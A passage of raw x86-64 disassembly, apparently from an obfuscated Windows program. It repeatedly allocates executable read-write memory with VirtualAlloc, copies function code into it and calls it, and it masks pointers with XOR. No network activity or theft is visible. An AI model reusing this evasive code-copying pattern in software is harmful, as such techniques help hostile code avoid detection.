movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
test al, 1
jne 0x14000fd7d
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x14000fd88
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x158a], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1948]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x69f0]
test bl, 1
jne 0x14000fe2d
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x14000fe4d
lea rcx, [rbp + 0x1948]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x14000fdb0
sub rdi, 1
jne 0x14000fda0
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x158a]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1650]
call fcn.1400047a0
sub r14, 1
jne 0x14000eec0
lea rcx, [rbp + 0x838]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp + 0x18], rsi
mov rax, qword [rax]
mov qword [rbp + 0x20], rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.140021870
test al, al
js 0x14000eeb1
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2c40]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1788]
call fcn.140021e60
nop
mov rax, qword [rbp + 0x15e0]
movabs rdx, 0xff00ff00ff00ff00
xor rax, rdx
mov qword [rbp + 0x15e0], rax
lea rcx, [rbp + 0x15798]
mov qword [rcx], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x15e0], xmm0
lea rcx, [rbp + 0x15798]
mov qword [rbp + 0x15e8], rdx
mov qword [rbp + 0x15f0], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x15e0], rax
mov qword [rcx], r12
call fcn.140024c3c
mov dword [rbp + 0x9104], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7d80]
call fcn.1400068a0
mov dword [rbp + 0x1558], 0xffffff9c
mov dword [rbp + 0x155c], 0x64
movups xmmword [rbp + 0x1958], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1728], xmm0
mov qword [rbp + 0x1738], rax
lea rcx, [rbp + 0x1728]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x840]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x368]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0x1728]
call fcn.140022230
nop
lea rcx, [rbp + 0x368]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x840]
call fcn.1400086c0
lea rcx, [rbp + 0x848]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x1728]
call fcn.140022230
nop
lea rcx, [rbp + 0x370]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x848]
call fcn.1400086c0
lea rcx, [rbp + 0x850]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x378]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x1728]
call fcn.140022230
nop
lea rcx, [rbp + 0x378]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x850]
call fcn.1400086c0
lea rcx, [rbp + 0x858]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1728]
call fcn.140022230
nop
lea rcx, [rbp + 0x380]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x858]
call fcn.1400086c0
lea rcx, [rbp + 0x860]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x388]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x1728]
call fcn.140022230
nop
lea rcx, [rbp + 0x388]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x860]
call fcn.1400086c0
lea rcx, [rbp + 0x868]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x1728]
call fcn.140022230
nop
lea rcx, [rbp + 0x390]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x868]
call fcn.1400086c0
lea rcx, [rbp + 0x2408]
call fcn.140009fc0
mov qword [rbp + 0x878], 0x64
mov rax, qword [rbp + 0x2408]
mov qword [rbp + 0x880], rax
lea r8, [rbp + 0x878]
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0xef8]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2c60]
call fcn.140005020
nop
lea rcx, [rbp + 0x8a0]
call fcn.140009fc0
mov qword [rbp - 0x58], rsi
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x50]
call fcn.140021870
test al, al
jns 0x140011287
nop word [rax + rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1730]
sub rbx, qword [rbp + 0x1728]
sar rbx, 3
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x1728]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2250], xmm0
mov qword [rbp + 0x2260], rax
mov rdx, rsi
lea rcx, [rbp + 0x2250]
call fcn.140009f70
nop
mov dword [rbp + 0x15f8], r12d
mov dword [rbp + 0x15fc], 0x19
lea rcx, [rbp + 0x2c60]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2c60]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001036d
nop dword [rax + rax]
mov r9d, dword [rbp + 0x15fc]
mov r8d, dword [rbp + 0x15f8]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x15f8]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x140010340
mov rcx, qword [rbp + 0x2250]
xor rcx, qword [rbp + 0x2258]
mov qword [rbp + 0x2250], rcx
mov rax, qword [rbp + 0x2260]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1668], xmm0
mov qword [rbp + 0x1678], rax
lea rcx, [rbp + 0x1668]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x1668]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1558]
mov qword [rbp + 0x990], rax
lea rax, [rbp + 0x7d80]
mov qword [rbp + 0x998], rax
movups xmm6, xmmword [rbp + 0x990]
lea rdx, [rbp + 0xf00]
lea rcx, [rbp + 0x1668]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf08]
lea rcx, [rbp + 0x1668]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x1668]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf18]
lea rcx, [rbp + 0x1668]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2268], xmm0
mov qword [rbp + 0x2278], rax
mov rdx, rsi
lea rcx, [rbp + 0x2268]
call fcn.140009f70
nop
mov dword [rbp + 0x1ac0], 0xffffff9c
mov dword [rbp + 0x1ac4], 0x64
lea rax, [rbp + 0x1ac0]
mov qword [rbp + 0x980], rax
lea rax, [rbp + 0x7d80]
mov qword [rbp + 0x988], rax
movups xmm6, xmmword [rbp + 0x980]
lea rdx, [rbp + 0xf20]
lea rcx, [rbp + 0x1668]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xf28]
lea rcx, [rbp + 0x1668]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x1668]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xf38]
call fcn.140021780
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0x1668]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf48]
lea rcx, [rbp + 0x1668]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x2268]
xor rcx, qword [rbp + 0x2270]
mov qword [rbp + 0x2268], rcx
mov rax, qword [rbp + 0x2278]
mov qword [rax], rcx
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1958]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1958]
call fcn.140021f10
movsd qword [rbp + 0x1b58], xmm0
movsd qword [rbp + 0x1b10], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x22f8], xmm0
mov qword [rbp + 0x2308], rax
mov rdx, rsi
lea rcx, [rbp + 0x22f8]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2280], xmm0
mov qword [rbp + 0x2290], rax
mov rdx, rsi
lea rcx, [rbp + 0x2280]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x140010639
nop dword [rax + rax]
cmp rax, rbx
je 0x140010626
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x140010610
jmp 0x140010639
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14001071f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010662
mov r8, r12
jmp 0x1400106fe
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1b58]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x2280]
xor rcx, qword [rbp + 0x2288]
mov qword [rbp + 0x2280], rcx
mov rax, qword [rbp + 0x2290]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x888], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2298], xmm0
mov qword [rbp + 0x22a8], rax
mov rdx, rsi
lea rcx, [rbp + 0x2298]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x1400107b9
nop
cmp rax, r15
je 0x1400107a6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140010790
jmp 0x1400107b9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001089f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400107e2
mov r8, r12
jmp 0x14001087e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400107f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b10]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x2298]
xor rcx, qword [rbp + 0x22a0]
mov qword [rbp + 0x2298], rcx
mov rax, qword [rbp + 0x22a8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x22b0], xmm1
mov qword [rbp + 0x22c0], rax
mov rdx, rsi
lea rcx, [rbp + 0x22b0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x140010939
nop dword [rax]
cmp rax, rbx
je 0x140010926
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x140010910
jmp 0x140010939
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x140010a1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010962
mov r8, r12
jmp 0x1400109fe
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010970
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x888]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x22b0]
xor rcx, qword [rbp + 0x22b8]
mov qword [rbp + 0x22b0], rcx
mov rax, qword [rbp + 0x22c0]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x22c8], xmm1
mov qword [rbp + 0x22d8], rax
mov rdx, rsi
lea rcx, [rbp + 0x22c8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x140010aae
cmp rax, r15
je 0x140010a9b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140010a85
jmp 0x140010aae
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140010b91
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010ad7
mov r8, r12
jmp 0x140010b70
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010ae2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b10]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x22c8]
xor rcx, qword [rbp + 0x22d0]
mov qword [rbp + 0x22c8], rcx
mov rax, qword [rbp + 0x22d8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x22e0], xmm1
mov qword [rbp + 0x22f0], rax
mov rdx, rsi
lea rcx, [rbp + 0x22e0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x140010c1f
cmp rax, r15
je 0x140010c0c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140010bf6
jmp 0x140010c1f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140010d0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010c48
mov r8, r12
jmp 0x140010cee
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010c60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b58]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x22e0]
xor rcx, qword [rbp + 0x22e8]
mov qword [rbp + 0x22e0], rcx
mov rax, qword [rbp + 0x22f0]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x22f8]
xor rcx, qword [rbp + 0x2300]
mov qword [rbp + 0x22f8], rcx
mov rax, qword [rbp + 0x2308]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x54], 3
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1958]
call fcn.140021f10
movsd qword [rbp + 0x890], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2310], xmm0
mov qword [rbp + 0x2320], rax
mov rdx, rsi
lea rcx, [rbp + 0x2310]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x140010dfd
cmp rax, rbx
je 0x140010dea
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140010dd4
jmp 0x140010dfd
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x140010ee0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140010e26
mov r9, r12
jmp 0x140010ebf
mov rax, rbx
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010e31
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x54]
lea rdx, [rbp + 0x890]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x2310]
xor rcx, qword [rbp + 0x2318]
mov qword [rbp + 0x2310], rcx
mov rax, qword [rbp + 0x2320]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1958]
call fcn.140021f10
movsd qword [rbp + 0x898], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2328], xmm0
mov qword [rbp + 0x2338], rax
mov rdx, rsi
lea rcx, [rbp + 0x2328]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x140010fa9
nop dword [rax]
cmp rax, rbx
je 0x140010f96
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x140010f80
jmp 0x140010fa9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001108f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
